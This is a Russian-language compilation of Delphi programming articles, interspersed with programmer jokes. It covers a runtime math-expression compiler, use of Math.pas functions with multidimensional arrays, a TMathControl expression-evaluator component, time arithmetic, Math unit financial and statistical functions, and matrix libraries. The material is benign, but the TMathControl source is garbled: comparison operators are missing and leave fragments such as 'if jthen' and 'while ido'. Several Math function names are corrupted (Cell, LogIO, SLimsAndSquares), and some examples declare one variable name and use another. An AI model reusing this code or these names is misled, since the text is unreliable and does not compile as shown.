Функции sin - синус; cos-косинус; tan-тангенс; exp-экспонента; ln - логарифм натуральный; sqrt - корень; arctan - арктангенс; Скачать исходные коды: MathComp.zip (6К)

Компилятор математических выражений.

Автор: Глызин Дмитрий Цели использования В некоторых областях часто встречается ситуация, когда требуется вычислять значения функций, задаваемых непосредственно во время работы программы. Иногда для этого достаточно создания интерпретаторов, которые производят как анализ, так и вычисление выражения средствами языка высокого уровня. Однако в случаях, когда на первое место среди качеств программы выходит ее быстродействие, такой вариант становится неприемлемым. Как раз для приложений, производящих длительные вычисления, и был создан данный модуль, анализ формулы в котором производится так же, как и в интерпретаторах (благодаря однократности действия оно не оказывает влияния на скорость), но ее расчет при конкретных значениях переменных происходит с той же (либо большей) скоростью, что и при вызове обычных функций Delphi.

Возможности

Проверяется корректность введенного выражения. Вычисляются правильно составленные выражения, содержащие бинарные операции +, -, *, /, ^, любые скобки, функции sin, cos, tg, ctg, exp, ln, lg, числовые константы типа extended (с точкой в качестве десятичного разделителя), и переменные произвольной длины, состоящие из букв любого алфавита и цифр. Одинаковые символы в разных регистрах считаются идентичными. Если аргументом функции является переменная либо константа, то их не обязательно заключать в скобки.

Пример:

-(x+cosy)/Exp[z]+LN {sin пеРеменная1-tg 3.14}
Ограничения текущей версии В ситуациях, когда входному выражению соответствует обратная польская запись вида:
a b c d e f g h i  + + + + + + + + ,
где число подряд идущих переменных больше восьми, а также в некоторых других неудачных случаях, модуль откажется генерировать код функции. Это связано с использованием при вычислениях одного лишь стека сопроцессора для хранения промежуточных результатов, и будет исправлено в следующей версии. Кроме того, для нормальной работы придется отключить Tools/Debugger options/Language Exceptions/Stop on Delphi Exceptions, иначе будет довольно утомительно: при анализе исключения возникают десятками. Суть действий модуля В памяти, соответствующей переменной типа "массив байтов", создается машинный код, соответствующий входной строке, после чего переменной типа "function:extended" присваивается адрес начала массива. Использование модуля

1. Заводим переменную типа TFormula:

TFormula = record
  CS: CodeSeg; // массив с кодом
  DS: DataSeg; // массив с переменными и константами
  proc: tproc; // вызываемая функция
end;
var
  formula1: tformula;
2. Вызываем процедуру компиляции кода, в которой указываем нашу formula1, список имен используемых в ней переменных, и, конечно, входную строку. 3. Для вычисления значения функции в formula1.DS записываем значения переменных в том порядке, в котором их имена фигурировали в списке (при этом важно изменять только первые 0..число переменных-1 элементы DS, т.к. в последующих элементах хранятся значения констант из входной строки), а затем вызываем formula1.proc, которая и возвратит искомое значение. Информация более конкретного характера содержится в самом модуле.

Использованные идеи и алгоритмы

Алгоритм Эрли проверки корректности входной строки. Упрощенный вариант алгоритма Дейкстры перевода в обратную польскую запись на основе стека с приоритетами. Способ формирования кода в памяти из программы Сергея Втюрина. Методы вычисления различных математических функций из открытых исходников модуля Math.

Скачать проект Compiler.zip (25K).

Использование многомерных массивов в процедурах и функциях из модуля Math.

Автор: Александр Шарахов WEB-сайт: http://delphibase.endimus.com

{ **** UBPFD *********** by delphibase.endimus.com ****
>> Использование многомерных массивов в процедурах и функциях из Math.pas
Многим процедурам и функциям из Math.pas в качестве одного из
параметров требуется одномерный открытый массив, например:
function Mean(const Data: array of Double): Extended;
function Sum(const Data: array of Double): Extended;
function MinValue(const Data: array of Double): Double;
function MaxValue(const Data: array of Double): Double;
Эти процедуры и функции можно применить также для работы с
многомерными массивами или подмассивами одномерного массива,
приводя их тип и заменяя описание открытого массива на пару
"Data: pointer; Bound: integer", где первый параметр -
указатель на первый обрабатываемый элемент массива,
второй - количество обрабатываемых элементов минус 1.
Например, для доступа к функции MaxIntValue можно использовать тип:
TMaxIntValue = function(Data: pointer; Bound: integer): integer;
Зависимости: Math
Автор:       Александр Шарахов, alsha@mailru.com, Москва
Copyright:   Александр Шарахов
Дата:        18 января 2003 г.
***************************************************** }
type // Тип для доступа к MaxIntValue
  TMaxIntValue = function(Data: pointer; Bound: integer): integer;

Пример использования:

type // Тип для доступа к MaxIntValue
  TMaxIntValue = function(Data: pointer; Bound: integer): integer;
var
  a: array[1..2, 1..2, 1..2] of integer;
  b: integer;
begin
  // Эквивалент для b:=MaxIntValue(a); если бы так можно было писать
  b := TMaxIntValue(@MaxIntValue)(@a, SizeOf(a) div SizeOf(integer) - 1);
end;

Преобразование строки в математическое выражение и получение результата.

- А чем отличается программист от простого смертного? - Тем, что может дать ответ на вопрос, уже содержащий в себе сам ответ. - Да, это как? - Ну, например: - сколько будет 2 x 2=4? - TRUE
unit MathComponent;
interface
uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls,
  Forms, Dialogs, math;
type
  TMathtype = (mtnil, mtoperator, mtlbracket, mtrbracket, mtoperand);
type
  TMathOperatortype = (monone, moadd, mosub, modiv, momul, mopow);
type
  pmathchar = ^Tmathchar;
  TMathChar = record
  case mathtype: Tmathtype of
    mtoperand:(data:extended);
    mtoperator:(op:TMathOperatortype);
  end;
type
  TMathControl = class(TComponent)
  private
    input, output, stack: array of tmathchar;
    fmathstring: string;
    function getresult:extended;
    function calculate(operand1,operand2,operator:Tmathchar):extended;
    function getoperator(c:char):TMathOperatortype;
    function getoperand(mid:integer;var len:integer):extended;
    procedure processstring;
    procedure convertinfixtopostfix;
    function isdigit(c:char):boolean;
    function isoperator(c:char):boolean;
    function getprecedence(mop:TMathOperatortype):integer;
  protected
  published
    property MathExpression:string read fmathstring write fmathstring;
    property MathResult:extended read getresult;
  end;
procedure register;
implementation
function Tmathcontrol.calculate(operand1,operand2,operator:Tmathchar):extended;
begin
  result:=0;
  case operator.op of
    moadd:
      result:=operand1.data + operand2.data;
    mosub:
      result:=operand1.data - operand2.data;
    momul:
      result:=operand1.data * operand2.data;
    modiv:
      if (operand1.data<>0) and (operand2.data<>0) then
        result:=operand1.data / operand2.data
      else
        result := 0;
    mopow:
      result:=power(operand1.data, operand2.data);
  end;
end;
function Tmathcontrol.getresult:extended;
var
  i:integer;
  tmp1,tmp2,tmp3:tmathchar;
begin
  convertinfixtopostfix;
  setlength(stack,0);
  for i:=0 to length(output)-1 do
  begin
    if output[i].mathtype=mtoperand then
    begin
      setlength(stack,length(stack)+1);
      stack[length(stack)-1]:=output[i];
    end
    else
    if output[i].mathtype=mtoperator then
    begin
      tmp1:=stack[length(stack)-1];
      tmp2:=stack[length(stack)-2];
      setlength(stack,length(stack)-2);
      tmp3.mathtype:=mtoperand;
      tmp3.data:=calculate(tmp2,tmp1,output[i]);
      setlength(stack,length(stack)+1);
      stack[length(stack)-1]:=tmp3;
    end;
  end;
  result:=stack[0].data;
  setlength(stack,0);
  setlength(input,0);
  setlength(output,0);
end;
function Tmathcontrol.getoperator(c:char):TMathOperatortype;
begin
  result:=monone;
  if c='+' then
    result:=moadd
  else
  if c='*' then
    result:=momul
  else
  if c='/' then
    result:=modiv
  else
  if c='-' then
    result:=mosub
  else
  if c='^' then
    result:=mopow;
end;
function Tmathcontrol.getoperand(mid:integer;var len:integer):extended;
var
  i,j:integer;
  tmpnum:string;
begin
  j:=1;
  for i:=mid to length(fmathstring)-1 do
  begin
    if isdigit(fmathstring[i]) then
    begin
      if jthen
        tmpnum:=tmpnum+fmathstring[i];
      j:=j+1;
    end
    else
      break;
  end;
  result:=strtofloat(tmpnum);
  len:=length(tmpnum);
end;
procedure Tmathcontrol.processstring;
var
  i:integer;
  numlen:integer;
begin
  i:=0;
  numlen:=0;
  setlength(output,0);
  setlength(input,0);
  setlength(stack,0);
  fmathstring:='('+fmathstring+')';
  setlength(input,length(fmathstring));
  while ido
  begin
    if fmathstring[i+1]='(' then
    begin
      input[i].mathtype:=mtlbracket;
      i:=i+1;
    end
    else
    if fmathstring[i+1]=')' then
    begin
      input[i].mathtype:=mtrbracket;
      i:=i+1;
    end
    else
    if isoperator(fmathstring[i+1]) then
    begin
      input[i].mathtype:=mtoperator;
      input[i].op:=getoperator(fmathstring[i+1]);
      i:=i+1;
    end
    else
    if isdigit(fmathstring[i+1]) then
    begin
      input[i].mathtype:=mtoperand;
      input[i].data:=getoperand(i+1,numlen);
      i:=i+numlen;
    end;
  end;
end;
function Tmathcontrol.isoperator(c:char):boolean;
begin
  result:=false;
  if (c='+') or (c='-') or (c='*') or (c='/') or (c='^') then
    result:=true;
end;
function Tmathcontrol.isdigit(c:char):boolean;
begin
  result:=false;
  if ((integer(c)> 47) and (integer(c)or (c='.') then
    result:=true;
end;
function Tmathcontrol.getprecedence(mop:TMathOperatortype):integer;
begin
  result:=-1;
  case mop of
    moadd: result := 1;
    mosub: result := 1;
    momul: result := 2;
    modiv: result := 2;
    mopow: result := 3;
  end;
end;
procedure Tmathcontrol.convertinfixtopostfix;
var
  i,j,prec:integer;
begin
  processstring;
  for i:=0 to length(input)-1 do
  begin
    if input[i].mathtype=mtoperand then
    begin
      setlength(output,length(output)+1);
      output[length(output)-1]:=input[i];
    end
    else
    if input[i].mathtype=mtlbracket then
    begin
      setlength(stack,length(stack)+1);
      stack[length(stack)-1]:=input[i];
    end
    else
    if input[i].mathtype=mtoperator then
    begin
      prec:=getprecedence(input[i].op);
      j:=length(stack)-1;
      if j>=0 then
      begin
        while(getprecedence(stack[j].op)>=prec) and (j>=0) do
        begin
          setlength(output,length(output)+1);
          output[length(output)-1]:=stack[j];
          setlength(stack,length(stack)-1);
          j:=j-1;
        end;
        setlength(stack,length(stack)+1);
        stack[length(stack)-1]:=input[i];
      end;
    end
    else
    if input[i].mathtype=mtrbracket then
    begin
      j:=length(stack)-1;
      if j>=0 then
      begin
        while(stack[j].mathtype<>mtlbracket) and (j>=0) do
        begin
          setlength(output,length(output)+1);
          output[length(output)-1]:=stack[j];
          setlength(stack,length(stack)-1);
          j:=j-1;
        end;
        if j>=0 then
          setlength(stack,length(stack)-1);
      end;
    end;
  end;
end;
procedure register;
begin
  RegisterComponents('Samples', [TMathControl]);
end; 
end.

Математика времени.

Распорядок рабочего дня программиста: 7:00 Открыли глазки, посмотрели на часы, плюнули (мысленно), решили поспать еще полчасика, закрыли глазки. 7:30 открыли глазки, посмотрели на часы, решили поспать еще четверть часа, закрыли глазки. 7:52 открыли глазки, выматерились (мысленно), подумали о смысле жизни, подумали еще разок, искоса посмотрели на одежду, выматерились (мысленно). 7:58 вскочили, побрились, умылись, приготовили завтрак, съели его, почистили ботинки, нашли рубашку, оделись, пробежались до метро. 8:20 поспали в метро, почитали книжку, ничего не поняли, поспали в метро. 9:20 опоздали на работу, включили компьютер, пошли покурить. 9:30 попытались согнать с компа играющих. 9:40 попытались согнать с компа играющих. 9:50 попытались согнать с компа играющих. 10:00 попытались согнать с компа играющих. 10:10 попытались согнать с компа играющих. 10:20 попытались согнать с компа играющих. 10:30 попытались согнать с компа играющих. 10:40 согнали играющих, от переутомления пошли курить. 10:50 наорали на играющих, сели работать. 11:00 вспомнили, в чем заключается работа. 11:01 проголодались, пошли в буфет. 11:32 вернулись из буфета, дали по морде играющим, сели работать. 11:38 пришла главбухша, попросила рассказать про бухгалтерскую программу. 12:30 объяснили главбухше, пошли курить. 12:40 стукнули по голове играющим, сели работать. 13:20 написали две строки программы, начали отлаживать, не получилось, пошли курить. 13:30 продолжили отладживать написанные две строки. 15:03 написали еще 120 строк. 15:22 отладили их. 15:23 пошли курить. 15:33 покурили, сели работать. 15:50 завис, сволочь, поматерились (мысленно), разобрали, контроллеры пошевелили, молотком стукнули, заработал. 16:20 проголодались, пошли обедать. 17:00 убили играющих, сели программки писать. 17:08 поняли, что голова не варит. 17:10 поняли, что голова совсем не варит. 17:14 поняли, что голова совершенно абсолютно не варит. 17:15 посмотрели на часы, вздохнули, запустили ГолдЕд, создали видимость усиленной деятельности. 17:59 собрались, выключили комп, поправили галстук, одели пиджак. 18:00 пошли домой. 18:05 в метро поспали, место никому не уступили (свиньи мы). 19:00 пришли домой, поужинали, на мессаги ответили, ответы перетоссировали, на кота наорали, успокоились. 22:00 фронду поставили, пошли на второй ужин. 23:44 свежая почта пришла, на дискеты ее покидали. 0:00 с юзерами початились, побазарили. 3:56 на часы глянули, офигели, спать легли. 7:00 Открыли глазки, посмотрели на часы, плюнули (мысленно), решили поспать еще полчасика...

Работа с временными величинами в Delphi очень проста, если пользоваться встроенными функциями преобразования. Определите глобальные Hour, Minute, Second и инициализируйте их следующим образом:

Hour   := EncodeTime(1,0,0,0);
Minute := EncodeTime(0,1,0,0);
Second := EncodeTime(0,0,1,0);

Или, если вы предпочитаете константы, сделайте так:

Hour = 3600000/MSecsPerDay;
Minute = 60000/MSecsPerDay;
Second = 1000/MSecsPerDay;

Теперь для того, чтобы добавить 240 минут к переменной TDateTime, просто сделайте.

T := T + 240*Minute;

Описание функций модуля Math.

Тригонометрические функции и процедуры

ArcCos - Арккосинус ArcCosh - Пиперболический арккосинус ArcSIn - Арксинус ArcSInh - Гиперболический арксинус ArcTahn - Гиперболический арктангенс ArcTan2 - Арктангенс с учетом квадранта (функция ArcTan, не учитывающая квадрант, находится в модуле System) Cosh - Гиперболический косинус Cotan - Котангенс CycleToRad - Преобразование циклов в радианы DegToRad - Преобразование градусов в радианы GradToRad - Преобразование градов в радианы Hypot - Вычисление гипотенузы прямоугольного треугольника по длинам катетов RadToCycle - Преобразование радианов в циклы RadToDeg - Преобразование радианов в градусы RacIToGrad - Преобразование радианов в грады SinCos - Вычисление синуса и косинуса угла. Как и в случае SumAndSquares и MeanAndStdDev, одновременная генерация обеих величин происходит быстрее Sinh - Гиперболический синус Tan - Тангенс Tanh - Гиперболический тангенс

Арифметические функции и процедуры

Cell - Округление вверх Floor - Округление вниз Frexp - Вычисление мантиссы и порядка заданной величины IntPower - Возведение числа в целую степень. Если вы не собираетесь пользоваться экспонентами с плавающей точкой, желательно использовать эту функцию из-за ее скорости Ldexp - Умножение Х на 2 в заданной степени LnXPI - Вычисление натурального логарифма Х+1. Рекомендуется для X, близких к нулю LogN - Вычисление логарифма Х по основанию N LogIO - Вычисление десятичного логарифмах Log2 - Вычисление двоичного логарифмах Power - Возведение числа в степень. Работает медленнее IntPower, но для операций с плавающей точкой вполне приемлемо

Финансовые функции и процедуры

DoubleDecliningBalance - Вычисление амортизации методом двойного баланса
function DoubleDecliningBalance(Cost, Salvage: Extended; Life, Period: Integer): Extended;

Функция вычисляет амортизационные отчисления на определенном этапе. В качестве параметров используются: начальная стоимость Cost, срок службы Life, конечная стоимость Salvage и амортизационный период Period. Вычисления производятся по следующим формулам:

Период Сумма амортизационных отчислений
1 А1:= Cost*2/Life
2 А2:= (Cost-А1)*2/Life
3 АЗ:= (Cost-А1-А2)*2/Life
... ...
n Аn:= (Cost-А1-А2 - ... - Аn-1)*2/Life где n=Period
&nbsp

При достижении конечной стоимости, амортизация перестает начисляться, и для последующих периодов функция будет возвращать значение, указанное в параметре Salvage.

Пример:

var
  A: Extended;
begin
  A := DoubleDecliningBalance(1000, 100, 5, 1); { A:=400 }
end;
FutureValue - Будущее значение вложения
function FutureValue(Rate: Extended; NPeriods: Integer;
Payment, PresentValue: Extended; PaymentTime: TPaymentTime ): Extended;

Функция вычисляет значение вклада по прошествии определенного периода времени.

NPeriods - количество прошедших единиц периода времени. Например, если проценты начисляются раз в год, то данный параметр определяет количество лет. PresentValue - первоначальная сумма вклада. В параметре Payment указывается сумма, которая будет добавляться вкладчиком ко вкладу в течение каждой единицы периода времени. Если вклад осуществляется только один раз, то Payment:=0. Rate - дивиденты, начисляемые за единицу периода. Параметр PaymentTime определяет, как должны начисляться проценты: PtStartOfPeriod Проценты начисляются в конце единицы периода времени на всю сумму, находящуюся на момент начисления на счету. ptEndOfPeriod Проценты начисляются только на сумму, которая находилась на счету в начале единицы периода времени. Т.е. на сумму, которая была добавлена вкладчиком к вкладу в течение последней единицы времени, проценты будут начислены по прошествии следующего периода.

Знак минус в результате функции показывает, что данная сумма является кредитовой, т.е. должна быть списана со счета.

Пример:

Первоначальный вклад составил 100 руб. дивиденды - 10% годовых. Ежегодно вкладчик добавляет к вкладу 50 руб. Проценты начисляются в конце года только на сумму, которая находилась на счету в начале года, т.е. проценты на сумму, которая была добавлена к вкладу в течение года будут начислены только в конце следующего года. Вычисляем сумму вклада через 5 лет.

var
  Sum: Extended;
begin
  Sum := FutureValue(0.1, 5, 50, 100, ptEndOfPeriod);
  { Sum:= -466.306 }
end;
InterestPayment - Вычисление процентов по ссуде
function InterestPayment(Rate: Extended; NPeriods: Integer;
PresentValue, FutureValue: Extended; PaymentTime: TPaymentTime): Extended;

Функция вычисляет процентную ставку кредита на определенном этапе в денежном исчислении.

PresentValue - сумма кредита. Rate - фиксированная процентная ставка кредита. NPeriods - число этапов, в течение которых производятся выплаты. Period - номер этапа выплат, для которого производятся вычисления. FutureValue - значение суммы кредита, по истечении выплат. Параметр PaymentTime определяет, происходят выплаты в начале (PtStartOfPeriod) этапа или в конце (ptEndOfPeriod).

Знак минус в результате функции показывает, что данная сумма является кредитовой, т.е. должна быть списана со счета.

Пример:

var
  Pay: Extended;
begin
  Pay := InterestPayment(0.1, 1, 5, 1000, 0, PtStartOfPeriod);
  { Pay:= -90.9090909090909 }
end;
InterestRate - Норма прибыли, необходимая для получения заданной суммы
function InterestRate(NPeriods: Integer; Payment, PresentValue,
FutureValue: Extended; PaymentTime: TPaymentTime): Extended;

Функция вычисляет процентную ставку инвестиций, необходимую для возврата суммы инвестиций PresentValue с дивидендами.

PresentValue - сумма инвестиций. FutureValue - полная сумма, полученная от инвестиций. Включает возврат первоначальной суммы инвестиций и дивиденды. NPeriods - количество этапов выплат. Payment - сумма периодических выплат. Параметр PaymentTime определяет, происходят выплаты в начале (PtStartOfPeriod) этапа или в его конце (ptEndOfPeriod).

Пример:

var
  IRate: Extended;
begin
  IRate := InterestRate(1, -100, -1000, 1500, ptEndOfPeriod);
  { IRate:= 0.4 }
end;
InternalRateOfReturn - Вычисление внутренней скорости оборота вложения для ряда последовательных выплат
function InternalRateOfReturn(Guess: Extended; 
const CashFlows: array of Double): Extended;

Функция вычисляет внутреннюю процентную ставку дохода от инвестиций. Массив CashFlows состоит из значений инвестиций и значений получаемого дохода за определенные периоды времени. Первое значение массива должно быть отрицательным, так как оно опредеяет первоначальную сумму инвестиций. Последующие значения могут быть отрицательными (дополнительные инвестиции), положительными (получаемый доход) или равны 0.

Пример:

var
  IRate: Extended;
  CashFlows: array of Double;
begin
  SetLength(CashFlow, 2);
  CashFlow[0]:=-1000;
  CashFlow[1]:= 1200;
  IRate:= InternalRateOfReturn(0, CashFlow);
  { IRate:= 0.4 }
end;
NetPresentValue - Вычисление чистой текущей стоимости вложения для ряда последовательных выплат с учетом процентной ставки
function NetPresentValue(Rate: Extended; const CashFlows: array of Double; 
PaymentTime: TPaymentTime): Extended;

Функция вычисляет значение текущего платежа, используя массив с расчетными значениями. Данная функция помогает определить расчетную стоимость инвестиций на основе предполагаемого (расчетного) дохода.

Параметр Rate - определяет процентную ставку инвестиций. CashFlows - массив расчетных значений текущих платежей. Параметр PaymentTime указывает, происходят выплаты в начале (PtStartOfPeriod) или в конце (ptEndOfPeriod) платежного этапа.

Пример.

var
  PayValue: Extended;
  CashFlows: array of Double;
begin
  SetLength(CashFlow, 3);
  CashFlow[0]:=-100;
  CashFlow[1]:= 110;
  CashFlow[2]:= 121;
  PayValue:= NetPresentValue (0.1, CashFlow, PtStartOfPeriod);
  { PayValue:= 100 }
end;
NumberOf Periods - Количество периодов, за которое вложение достигнет заданной величины
function NumberOfPeriods(Rate, Payment, PresentValue, FutureValue: Extended;
PaymentTime: TPaymentTime): Extended;

Функция определяет количество этапов, необходимых для погашения кредита до значения определенного в параметре FutureValue.

PresentValue - первоначальная сумма кредита. Rate - процентная ставка. Payment - величина регулярных выплат. Параметр PaymentTime определяет, происходят выплаты в начале (PtStartOfPeriod) этапа или в его конце (ptEndOfPeriod).

Пример:

Первоначальная сумма кредита составляет 364руб. Процентная ставка 20%. Регулярные ежемесячные выплаты по 100руб производятся в конце месяца. Рассчитаем сколько месяцев необходимо для полной выплаты кредита.

var
  Np: Extended;
begin
  Np := NumberOfPeriods (0.2, 100, 364, 0, ptEndOfPeriod);
  { Np:= -3 }
end;
Payment - Размер периодической выплаты, необходимой для погашения ссуды, при заданном числе периодов, процентной ставке, а также текущем и будущем значениях ссуды
function Payment(Rate: Extended; NPeriods: Integer; PresentValue, 
FutureValue: Extended; PaymentTime: TPaymentTime): Extended;

Функция вычисляет общую сумму погашения кредита, выплачиваемую на каждом этапе (состоит из текущих выплат и процентов).

PresentValue - сумма заимствования. NPeriods - срок выплаты кредита. Данный пармаметр указывается количество этапов выплаты (количество лет, кварталов, месяцев и т.д.). FutureValue - оставшаяся сумма кредита по истечении указанного периода. Rate - величина процентной ставки кредита (ежегодная, ежеквартальная, ежемесячная и т.д. в соответствии с единицей измерения периода времени). Параметр PaymentTime определяет, как происходят платежи: в начале (PtStartOfPeriod) или в конце (ptEndOfPeriod) платежного периода.

Пример:

var
  PaySum: Extended;
begin
  PaySum := Payment(0.2, 1, 100, 0, ptEndOfPeriod);
  { PaySum:=-120 }
end;
PeriodPayment - Платежи по процентам за заданный период
function PeriodPayment(Rate: Extended; Period, NPeriods: Integer; 
PresentValue, FutureValue: Extended; PaymentTime: TPaymentTime): Extended;

Функция вычисляет сумму выплат основной части кредита (без учета процентов) на определенном этапе.

PresentValue - сумма заимствований. NPeriods - срок выплаты кредита (количество этапов). FutureValue - сумма кредита по прошествии указанного срока. Period - номер этапа, для которого производятся вычисления. Rate - процентная ставка кредита. Параметр PaymentTime определяет, как происходят платежи: в начале (PtStartOfPeriod) или в конце (ptEndOfPeriod) платежного периода.

Сумму выплачиваемых процентов кредита можно вычислить с помощью функции InterestPayment.

Пример:

var
  PaySum: Extended;
begin
  PaySum := PeriodPayment(0.1, 2, 5, 1000, 0, ptEndOfPeriod);
  { PaySum:= -180.17722887422 }
end;
PresentValue - Текущее значение вложения
function PresentValue(Rate: Extended; NPeriods: Integer; Payment, FutureValue: Extended; 
PaymentTime: TPaymentTime): Extended;

Функция определяет значение вклада в указанный период времени.

Payment - первоначальная сумма вклада. NPeriods - срок вклада. Rate - процентная ставка. FutureValue - значение, которого могут достигнуть инвестиции в определенный период. Параметр PaymentTime указывает, как происходят платежи: в начале (PtStartOfPeriod) или в конце (ptEndOfPeriod) платежного периода.

Пример:

var
  Value: Extended;
begin
  Value := PresentValue(0.1, 1, -100, 0, ptEndOfPeriod);
  { Value:= 90,9090909090909 }
end;
SLNDepreclatlon - Вычисление амортизации методом постоянной нормы
function SLNDepreciation(Cost, Salvage: Extended; Life: Integer): Extended;

Функция вычисляет сумму амортизационных отчислений за единицу периода времени по методу линейной (равномерной) амортизации.

Cost - первоначальную стоимость оборудования. Salvage - конечная стоимость оборудования. Life - срок эксплуатации.

Для вычисления амортизации по ускоренному методу используйте функцию SYDDepreciation.

Пример:

var
  Amort: Extended;
begin
  Amort := SLNDepreciation(1000, 200, 5); 
  { Amort:= 160 }
end;
SYDepreclatlon - Вычисление амортизации методом весовых коэффициентов
function SYDDepreciation(Cost, Salvage: Extended; Life, Period: Integer): Extended;

Функция вычисляет сумму амортизационных отчислений на заданном этапе по методу ускоренной амортизации.

Cost - первоначальная стоимость оборудования. Salvage - конечная стоимость. Life - срок эксплуатации. Period - номер этапа, для которого определяется сумма амортизационных отчислений.

Для вычислений по методу равномерной амортизации используйте функцию SLNDepreciation.

Пример:

var
  Amort: Extended;
begin
  Amort := SYDDepreciation(1000, 100, 5, 1);
  {Amort:=300}
end;

Статистические функции и процедуры

MaxIntValue - Максимальное значение в наборе целых чисел. Функция появилась в Delphi 3. ее не существует в Delphi 2 MaxValue - Максимальное значение в наборе чисел. В Delphi 2 функция возвращает минималъное значение Mean - Среднее арифметическое для набора чисел MeanAndStdDev - Одновременное вычисление среднего арифметического и стандартного отклонения для набора чисел. Вычисляется быстрее, чем обе величины по отдельности MinIntValLie - Минимальное значение в наборе целых чисел. Функция появилась в Delphi 3, ее не существует в Delphi 2 MInValue - Минимальное значение в наборе чисел. В Delphi 2 функция возвращает максимальное значение MoiiientSkewKurtosIs - Статистические моменты порядков с первого по четвертый, а также асимметрия (skew) и эксцесс (kurtosis) для набора чисел Norm - Норма для набора данных (квадратный корень из суммы квадратов) PopnStdDev - Выборочное стандартное отклонение. Отличается от обычного стандартного отклонения тем, что при вычислениях используется выборочное значение дисперсии, PopnVarl апсе (см. ниже) PopnVarlance - Выборочная дисперсия. Использует "смещенную" формулу TotalVanance/n RandG - Генерация нормально распределенных случайных чисел с заданным средним значением и среднеквадратическим отклонением StdDev - Среднеквадратическое отклонение для набора чисел Sum - Сумма набора чисел SLimsAndSquares - Одновременное вычисление суммы и суммы квадратов для набора чисел. Как и в других функциях модуля Math, обе величины вычисляются быстрее, чем по отдельности Sumint - Сумма набора целых чисел. Функция появилась в Delphi 3, ее не существует в Delphi 2 SLimOfSquares - Сумма квадратов набора чисел Total Variance - "Полная дисперсия" для набора чисел. Это сумма квадратов расстояний всех величин от их среднего арифметического Variance - Выборочная дисперсия для набора чисел. Функция использует "несмещенную" формулу Тоtа1Vаnапсе/(п -1)

Модуль реализации матричных вычислений для массивов больших размеров.

Автор: Andrey WEB-сайт: http://delphikingdom.com В этом модуле «осели» все операции с матрицами и векторами, которые я использовал для работы. Но есть алгоритмы, которые многие, наверняка, увидят впервые: Divide – алгоритм прямого деления, MSqrt – квадратный корень, MAbs – абсолютная величина. Поскольку модуль содержит все, от элементарных операций до матричных, разобраться будет несложно:

Например, решение системы ЛУ (консольное приложение).

var
  N : Integer;
  A : Matrix;
  b, x : Vector;
begin
  N := . . .;
  A.Init( N, N );
  b.Init( N );
  x.Init( N ); // или x.Init( B ); или x.InitRow( A );
  . . .
  { формирование A и b }
  . . .
  x.Divide( b, A );
  x.Print;
  . . .
end.

Некоторые алгоритмы требуют пояснения, например:

Matrix.E( i, j : LongWord ) или Vector.E( i : Integer ) : RealPtr 

(RealPtr = ^Real) функция для вычисления адреса элемента матрицы/вектора. Перешла из ДОС когда в модуле использовался алгоритм управления виртуальной памятью для больших размерностей.

Matrix.Multiple( X, Y : Vector ) 

Результатом, которого является произведение вектора X на транспонированный вектор Y - матрица ранга 1.

Matrix.Invert( A : Matrix ) 

– если A[N,M], и N <> M то результат – матрица размера [M,N] – псевдообратная = A+.

Matrix.Addition( A : Matrix; B : Real ) 

– добавление числа в главную диагональ.

Matrix.Diag( r : Real ) 
– присваивание значения главной диагонали. Когда есть исходный текст - разобраться можно всегда.

Этот модуль используется почти во всех реализованных мной численных алгоритмах и методах. Те части, которые писал не я – приводятся без изменений(по возможности) стиля и комментариев.

Скачать hmatrixw.zip (14K)

Матрицы в Delphi.

Автор: Andrew M. Omutov
Девушка-программер едет в трамвае, читает книгу. Старушка смотрит на девушку, смотрит на книгу, крестится и в ужасе выбегает на следующей становке. Девушка читала книгу "Язык Ада".

Уважаемые сограждане. В ответ на вопросы Круглого Стола, в основном, от собратьев студентов, публикую алгоритмы матричного исчисления. В них нет ничего сложного, все базируется на функциях стандартного Borland Pascal еще версии 7.0.

Я понимаю, что уровень подготовки наших преподавателей весьма отстает не то, что от нынешних технологий, но даже и от весьма более ранних, но все-таки попробую помочь собратьям "по-несчастью".... :o))).

Перечень функций этой библиотеки:

Unit Matrix;
interface
type
   MatrixPtr = ^MatrixRec;
   MatrixRec = record
     MatrixRow   : byte;
     MatrixCol   : byte;
     MatrixArray : pointer;
   end;
   MatrixElement = real;
(* Функция возвращает целочисленную степень *)
function IntPower(X,n : integer) : integer;
(* Функция создает квадратную матрицу *)
function  CreateSquareMatrix(Size : byte) : MatrixPtr;
(* Функция создает прямоугольную матрицу *)
function  CreateMatrix(Row,Col : byte) : MatrixPtr;
(* Функция дублирует матрицу *)
function  CloneMatrix(MPtr : MatrixPtr) : MatrixPtr;
(* Функция удаляет матрицу и возвращает TRUE в случае удачи *)
function  DeleteMatrix(var MPtr : MatrixPtr) : boolean;
(* Функция заполняет матрицу указанным числом *)
function  FillMatrix(MPtr : MatrixPtr;Value : MatrixElement) : boolean;
(* Функция удаляет матрицу MPtr1 и присваивает ей значение MPtr2 *)
function  AssignMatrix(var MPtr1 : MatrixPtr;MPtr2 : MatrixPtr) : MatrixPtr;
(* Функция отображает матрицу на консоль *)
function  DisplayMatrix(MPtr : MatrixPtr;_Int,_Frac : byte) : boolean;
(* Функция возвращает TRUE, если матрица 1x1 *)
function  IsSingleMatrix(MPtr : MatrixPtr) : boolean;
(* Функция возвращает TRUE, если матрица квадратная *)
function  IsSquareMatrix(MPtr : MatrixPtr) : boolean;
(* Функция возвращает количество строк матрицы *)
function  GetMatrixRow(MPtr : MatrixPtr) : byte;
(* Функция возвращает количество столбцов матрицы *)
function  GetMatrixCol(MPtr : MatrixPtr) : byte;
(* Процедура устанавливает элемент матрицы *)
procedure SetMatrixElement(MPtr : MatrixPtr;Row,Col : byte;Value : MatrixElement);
(* Функция возвращает элемент матрицы *)
function  GetMatrixElement(MPtr : MatrixPtr;Row,Col : byte) : MatrixElement;
(* Функция исключает векторы из матрицы *)
function  ExcludeVectorFromMatrix(MPtr : MatrixPtr;Row,Col : byte) : MatrixPtr;
(* Функция заменяет строку(столбец) матрицы вектором *)
function  SetVectorIntoMatrix(MPtr,VPtr : MatrixPtr;_Pos : byte) : MatrixPtr;
(* Функция возвращает детерминант матрицы *)
function  DetMatrix(MPtr : MatrixPtr) : MatrixElement;
(* Функция возвращает детерминант треугольной матрицы *)
function  DetTriangularMatrix(MPtr : MatrixPtr) : MatrixElement;
(* Функция возвращает алгебраическое дополнение элемента матрицы *)
function  AppendixElement(MPtr : MatrixPtr;Row,Col : byte) : MatrixElement;
(* Функция создает матрицу алгебраических дополнений элементов матрицы *)
function  CreateAppendixMatrix(MPtr : MatrixPtr) : MatrixPtr;
(* Функция транспонирует матрицу *)
function TransponeMatrix(MPtr : MatrixPtr) : MatrixPtr;
